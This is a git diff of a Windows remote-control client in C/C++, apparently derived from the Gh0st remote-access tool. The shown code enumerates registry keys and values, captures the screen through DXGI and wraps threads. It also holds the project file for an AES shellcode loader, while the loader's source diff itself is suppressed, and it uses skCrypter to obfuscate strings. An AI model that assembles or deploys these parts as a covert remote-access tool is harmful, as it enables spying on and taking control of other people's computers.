DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
|
||||
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
|
||||
if (szBuffer == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
ZeroMemory(szBuffer,DataSize);
|
||||
szBuffer[0]=TOKEN_REG_PATH; //命令头
|
||||
REGMSG msg; //数据头
|
||||
msg.size=KeySize;
|
||||
msg.count=KeyCount;
|
||||
memcpy(szBuffer+1,(void*)&msg,Size);
|
||||
|
||||
char * szTemp=new char[KeySize];
|
||||
for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项
|
||||
ZeroMemory(szTemp,KeySize);
|
||||
DWORD i=KeySize; //21
|
||||
RegEnumKeyEx(hKey,dwIndex,szTemp,&i,NULL,NULL,NULL,NULL);
|
||||
strcpy(szBuffer+dwIndex*KeySize+Size,szTemp);
|
||||
}
|
||||
delete[] szTemp;
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
}
|
||||
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
|
||||
void RegisterOperation::SetPath(char *szPath)
|
||||
{
|
||||
ZeroMemory(KeyPath,MAX_PATH);
|
||||
strcpy(KeyPath,szPath);
|
||||
}
|
||||
|
||||
char* RegisterOperation::FindKey()
|
||||
{
|
||||
char *szValueName; //键值名称
|
||||
LPBYTE szValueData; //键值数据
|
||||
|
||||
char *szBuffer=NULL;
|
||||
HKEY hKey; //注册表返回句柄
|
||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
|
||||
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
|
||||
DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
|
||||
//这就是枚举了
|
||||
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,
|
||||
&KeyCount,&KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDataLen,NULL,NULL)!=ERROR_SUCCESS) {
|
||||
return NULL;
|
||||
}
|
||||
if(NameCount>0&&MaxDataLen>0) {
|
||||
DataSize=MaxDataLen+1;
|
||||
NameSize=NameMaxLen+100;
|
||||
REGMSG msg;
|
||||
msg.count=NameCount; //总个数
|
||||
msg.size=NameSize; //名字大小
|
||||
msg.valsize=DataSize; //数据大小
|
||||
const int msgsize=sizeof(REGMSG);
|
||||
// 头 标记 名字 数据
|
||||
DWORD size=sizeof(REGMSG)+
|
||||
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
|
||||
szBuffer = (char*)LocalAlloc(LPTR, size);
|
||||
if (szBuffer==NULL) {
|
||||
return NULL;
|
||||
}
|
||||
ZeroMemory(szBuffer,size);
|
||||
szBuffer[0]=TOKEN_REG_KEY; //命令头
|
||||
memcpy(szBuffer+1,(void*)&msg,msgsize); //数据头
|
||||
|
||||
szValueName=(char *)malloc(NameSize);
|
||||
szValueData=(LPBYTE)malloc(DataSize);
|
||||
if (szValueName==NULL||szValueData == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
char *szTemp=szBuffer+msgsize+1;
|
||||
for(dwIndex=0; dwIndex<NameCount; dwIndex++) { //枚举键值
|
||||
ZeroMemory(szValueName,NameSize);
|
||||
ZeroMemory(szValueData,DataSize);
|
||||
|
||||
DataSize=MaxDataLen+1;
|
||||
NameSize=NameMaxLen+100;
|
||||
|
||||
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
|
||||
NULL,&Type,szValueData,&DataSize);//读取键值
|
||||
|
||||
if(Type==REG_SZ) {
|
||||
szTemp[0]=MREG_SZ;
|
||||
}
|
||||
if(Type==REG_DWORD) {
|
||||
szTemp[0]=MREG_DWORD;
|
||||
}
|
||||
if(Type==REG_BINARY) {
|
||||
szTemp[0]=MREG_BINARY;
|
||||
}
|
||||
if(Type==REG_EXPAND_SZ) {
|
||||
szTemp[0]=MREG_EXPAND_SZ;
|
||||
}
|
||||
szTemp+=sizeof(BYTE);
|
||||
strcpy(szTemp,szValueName);
|
||||
szTemp+=msg.size;
|
||||
memcpy(szTemp,szValueData,msg.valsize);
|
||||
szTemp+=msg.valsize;
|
||||
}
|
||||
free(szValueName);
|
||||
free(szValueData);
|
||||
}
|
||||
}
|
||||
return szBuffer;
|
||||
}
|
||||
24
client/RegisterOperation.h
Normal file
24
client/RegisterOperation.h
Normal file
@@ -0,0 +1,24 @@
|
||||
// RegisterOperation.h: interface for the RegisterOperation class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
|
||||
#define AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
class RegisterOperation
|
||||
{
|
||||
public:
|
||||
RegisterOperation(char bToken);
|
||||
virtual ~RegisterOperation();
|
||||
char* FindPath();
|
||||
HKEY MKEY;
|
||||
char KeyPath[MAX_PATH];
|
||||
void SetPath(char *szPath);
|
||||
char* FindKey();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
|
||||
BIN
client/Res/ghost.ico
Normal file
BIN
client/Res/ghost.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
BIN
client/Res/msg.ico
Normal file
BIN
client/Res/msg.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 9.4 KiB |
BIN
client/Res/msg.wav
Normal file
BIN
client/Res/msg.wav
Normal file
Binary file not shown.
10329
client/SCLoader.cpp
Normal file
10329
client/SCLoader.cpp
Normal file
File diff suppressed because it is too large
Load Diff
182
client/SCLoader.vcxproj
Normal file
182
client/SCLoader.vcxproj
Normal file
@@ -0,0 +1,182 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{f33fc38a-e7a0-47d1-9f35-6dfe49c7194a}</ProjectGuid>
|
||||
<RootNamespace>SCLoader</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IntDir>$(Configuration)\loader</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<IntDir>$(Configuration)\loader</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IntDir>$(Platform)\$(Configuration)\loader</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<IntDir>$(Platform)\$(Configuration)\loader</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;ECB=0;CTR=0;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<FloatingPointModel>Fast</FloatingPointModel>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EntryPointSymbol>entry</EntryPointSymbol>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;ECB=0;CTR=0;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<FloatingPointModel>Fast</FloatingPointModel>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EntryPointSymbol>entry</EntryPointSymbol>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\aes.c" />
|
||||
<ClCompile Include="SimpleSCLoader.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
30
client/SCLoader.vcxproj.filters
Normal file
30
client/SCLoader.vcxproj.filters
Normal file
@@ -0,0 +1,30 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="SimpleSCLoader.c">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\common\aes.c">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
4
client/SCLoader.vcxproj.user
Normal file
4
client/SCLoader.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
96
client/SafeThread.cpp
Normal file
96
client/SafeThread.cpp
Normal file
@@ -0,0 +1,96 @@
|
||||
#include "stdafx.h"
|
||||
#include "SafeThread.h"
|
||||
#include <stdexcept>
|
||||
#include <map>
|
||||
|
||||
// RoutineInfo 记录线程相关信息.
|
||||
typedef struct RoutineInfo {
|
||||
DWORD tid; // 线程ID
|
||||
|
||||
LPTHREAD_START_ROUTINE Func; // 线程函数
|
||||
LPVOID Param; // 线程参数
|
||||
|
||||
OnException Excep; // 异常处理函数
|
||||
LPVOID User; // 额外参数
|
||||
|
||||
std::string File; // 创建线程的文件
|
||||
int Line; // 文件行数
|
||||
std::string Name; // 函数名称
|
||||
bool Trace; // 追踪线程运行情况
|
||||
|
||||
} RoutineInfo;
|
||||
|
||||
DWORD HandleCppException(RoutineInfo& ri)
|
||||
{
|
||||
try {
|
||||
return ri.Func(ri.Param); // 调用实际线程函数
|
||||
} catch (const std::exception& e) {
|
||||
if (ri.Excep) {
|
||||
Mprintf("[%d] 捕获 C++ 异常: %s. [%s:%d]\n", ri.tid, e.what(), ri.File.c_str(), ri.Line);
|
||||
return ri.Excep(ri.User, ri.Param);
|
||||
}
|
||||
Mprintf("[%d] 捕获 C++ 异常: %s. 没有提供异常处理程序[%s:%d]!\n", ri.tid, e.what(), ri.File.c_str(), ri.Line);
|
||||
} catch (...) {
|
||||
if (ri.Excep) {
|
||||
Mprintf("[%d] 捕获未知 C++ 异常. [%s:%d]\n", ri.tid, ri.File.c_str(), ri.Line);
|
||||
return ri.Excep(ri.User, ri.Param);
|
||||
}
|
||||
Mprintf("[%d] 捕获未知 C++ 异常. 没有提供异常处理程序[%s:%d]!\n", ri.tid, ri.File.c_str(), ri.Line);
|
||||
}
|
||||
return 0xDEAD0002;
|
||||
}
|
||||
|
||||
DWORD HandleSEHException(RoutineInfo & ri)
|
||||
{
|
||||
__try {
|
||||
// 执行实际线程函数
|
||||
return HandleCppException(ri);
|
||||
} __except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
if (ri.Excep) {
|
||||
Mprintf("[%d] 捕获硬件异常,线程不会崩溃. [%s:%d] Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode());
|
||||
return ri.Excep(ri.User, ri.Param);
|
||||
}
|
||||
Mprintf("[%d] 捕获硬件异常. 没有提供异常处理程序[%s:%d]! Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode());
|
||||
return 0xDEAD0001; // 返回错误状态
|
||||
}
|
||||
}
|
||||
|
||||
// 通用异常包装函数
|
||||
DWORD WINAPI ThreadWrapper(LPVOID lpParam)
|
||||
{
|
||||
RoutineInfo *ri = (RoutineInfo *)lpParam;
|
||||
ri->tid = GetCurrentThreadId();
|
||||
RoutineInfo pRealThreadFunc = *ri;
|
||||
delete ri;
|
||||
|
||||
if (pRealThreadFunc.Trace) {
|
||||
CAutoLog Log(pRealThreadFunc.Name.c_str());
|
||||
// 异常捕获
|
||||
return HandleSEHException(pRealThreadFunc);
|
||||
}
|
||||
// 异常捕获
|
||||
return HandleSEHException(pRealThreadFunc);
|
||||
}
|
||||
|
||||
// 创建带异常保护的线程,记录创建线程的文件、行数和函数名称
|
||||
HANDLE CreateSafeThread(const char*file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize,
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
{
|
||||
|
||||
if (excep) assert(user); // 异常处理函数和参数必须同时提供
|
||||
if (excep && !user) {
|
||||
Mprintf("[ERROR] 提供了异常处理函数但 user 为 NULL, 拒绝创建线程[%s:%d]!\n", file, line);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
auto ri = new RoutineInfo{ 0, lpStartAddress, lpParameter, excep, user, file ? file : "", line, fname, dwStackSize == 0 };
|
||||
|
||||
HANDLE hThread = ::CreateThread(NULL, dwStackSize, ThreadWrapper, ri, dwCreationFlags, lpThreadId);
|
||||
if (!hThread) {
|
||||
Mprintf("[ERROR] 创建线程失败:GetLastError=%lu [%s:%d]\n", GetLastError(), file, line);
|
||||
delete ri;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return hThread;
|
||||
}
|
||||
17
client/SafeThread.h
Normal file
17
client/SafeThread.h
Normal file
@@ -0,0 +1,17 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include "common/skCrypter.h"
|
||||
|
||||
typedef DWORD (*OnException)(LPVOID user, LPVOID param);
|
||||
|
||||
// 创建带异常保护的线程
|
||||
HANDLE CreateSafeThread(const char* file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize,
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
|
||||
|
||||
#if USING_SAFETHRED
|
||||
#define __CreateThread(p1,p2,p3,p4,p5,p6) CreateSafeThread(skCrypt(__FILE__),__LINE__,skCrypt(#p3),p1,p2,0,p3,p4,p5,p6)
|
||||
#define __CreateSmallThread(p1,p2,p3,p4,p5,p6,p7) CreateSafeThread(skCrypt(__FILE__),__LINE__,skCrypt(#p4),p1,p2,p3,p4,p5,p6,p7)
|
||||
#else
|
||||
#define __CreateThread(p1,p2,p3,p4,p5,p6) CreateThread(nullptr,0,p3,p4,p5,p6)
|
||||
#define __CreateSmallThread(p1,p2,p3,p4,p5,p6,p7) CreateThread(nullptr,p3,p4,p5,p6,p7)
|
||||
#endif
|
||||
1116
client/ScreenCapture.h
Normal file
1116
client/ScreenCapture.h
Normal file
File diff suppressed because it is too large
Load Diff
314
client/ScreenCapturerDXGI.h
Normal file
314
client/ScreenCapturerDXGI.h
Normal file
@@ -0,0 +1,314 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include "ScreenCapture.h"
|
||||
#include "common/commands.h"
|
||||
|
||||
// 只要你安装了 Windows 8 SDK 或更高版本的 Windows SDK,编译器就能找到 dxgi1_2.h 并成功编译。
|
||||
// 仅在 Windows 8 及更新版本上受支持
|
||||
#include <dxgi1_2.h>
|
||||
#include <d3d11.h>
|
||||
#include <common/iniFile.h>
|
||||
|
||||
#pragma comment(lib, "d3d11.lib")
|
||||
#pragma comment(lib, "dxgi.lib")
|
||||
|
||||
// author: ChatGPT
|
||||
// update: 962914132@qq.com
|
||||
// DXGI 1.2(IDXGIOutputDuplication)相比传统 GDI 截屏,性能提升通常在 3 倍到 10 倍之间,具体取决于硬件、分辨率和使用场景。
|
||||
class ScreenCapturerDXGI : public ScreenCapture
|
||||
{
|
||||
private:
|
||||
ID3D11Device* d3dDevice = nullptr;
|
||||
ID3D11DeviceContext* d3dContext = nullptr;
|
||||
IDXGIOutputDuplication* deskDupl = nullptr;
|
||||
ID3D11Texture2D* cpuTexture = nullptr;
|
||||
BYTE* m_NextBuffer = nullptr;
|
||||
|
||||
public:
|
||||
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all)
|
||||
{
|
||||
m_GOP = gop;
|
||||
InitDXGI(all);
|
||||
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
|
||||
}
|
||||
|
||||
~ScreenCapturerDXGI()
|
||||
{
|
||||
CleanupDXGI();
|
||||
|
||||
SAFE_DELETE_ARRAY(m_FirstBuffer);
|
||||
SAFE_DELETE_ARRAY(m_NextBuffer);
|
||||
SAFE_DELETE_ARRAY(m_RectBuffer);
|
||||
}
|
||||
|
||||
virtual BOOL UsingDXGI() const
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void InitDXGI(BOOL all)
|
||||
{
|
||||
m_iScreenX = 0;
|
||||
m_iScreenY = 0;
|
||||
// 1. 创建 D3D11 设备
|
||||
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
|
||||
|
||||
IDXGIFactory1* pFactory = nullptr;
|
||||
IDXGIAdapter1* dxgiAdapter = nullptr;
|
||||
IDXGIOutput* dxgiOutput = nullptr;
|
||||
IDXGIOutput1* dxgiOutput1 = nullptr;
|
||||
|
||||
// 2. 创建工厂
|
||||
CreateDXGIFactory1(__uuidof(IDXGIFactory1), (void**)&pFactory);
|
||||
if (!pFactory) return;
|
||||
|
||||
do {
|
||||
// 3. 获取设备
|
||||
static UINT idx = 0;
|
||||
idx = pFactory->EnumAdapters1(idx, &dxgiAdapter) == DXGI_ERROR_NOT_FOUND ? 0 : idx;
|
||||
if (!dxgiAdapter) pFactory->EnumAdapters1(idx, &dxgiAdapter);
|
||||
if (!dxgiAdapter)break;
|
||||
|
||||
// 4. 获取 DXGI 输出(屏幕)
|
||||
static UINT screen = 0;
|
||||
HRESULT r = dxgiAdapter->EnumOutputs(screen++, &dxgiOutput);
|
||||
if (r == DXGI_ERROR_NOT_FOUND && all) {
|
||||
screen = 0;
|
||||
idx ++;
|
||||
dxgiAdapter->Release();
|
||||
dxgiAdapter = nullptr;
|
||||
continue;
|
||||
}
|
||||
if (!dxgiOutput)break;
|
||||
|
||||
// 4.1 获取屏幕位置(多显示器支持)
|
||||
DXGI_OUTPUT_DESC outputDesc;
|
||||
if (SUCCEEDED(dxgiOutput->GetDesc(&outputDesc))) {
|
||||
m_iScreenX = outputDesc.DesktopCoordinates.left;
|
||||
m_iScreenY = outputDesc.DesktopCoordinates.top;
|
||||
}
|
||||
|
||||
// 5. 获取 DXGI 输出 1
|
||||
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
if (!dxgiOutput1)break;
|
||||
|
||||
// 6. 创建 Desktop Duplication
|
||||
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
if (!deskDupl)break;
|
||||
|
||||
// 7. 获取屏幕大小
|
||||
DXGI_OUTDUPL_DESC duplDesc;
|
||||
deskDupl->GetDesc(&duplDesc);
|
||||
m_ulFullWidth = duplDesc.ModeDesc.Width;
|
||||
m_ulFullHeight = duplDesc.ModeDesc.Height;
|
||||
|
||||
// 8. 创建 CPU 访问纹理
|
||||
D3D11_TEXTURE2D_DESC desc = {};
|
||||
desc.Width = m_ulFullWidth;
|
||||
desc.Height = m_ulFullHeight;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
|
||||
|
||||
// 9. 初始化 BITMAPINFO
|
||||
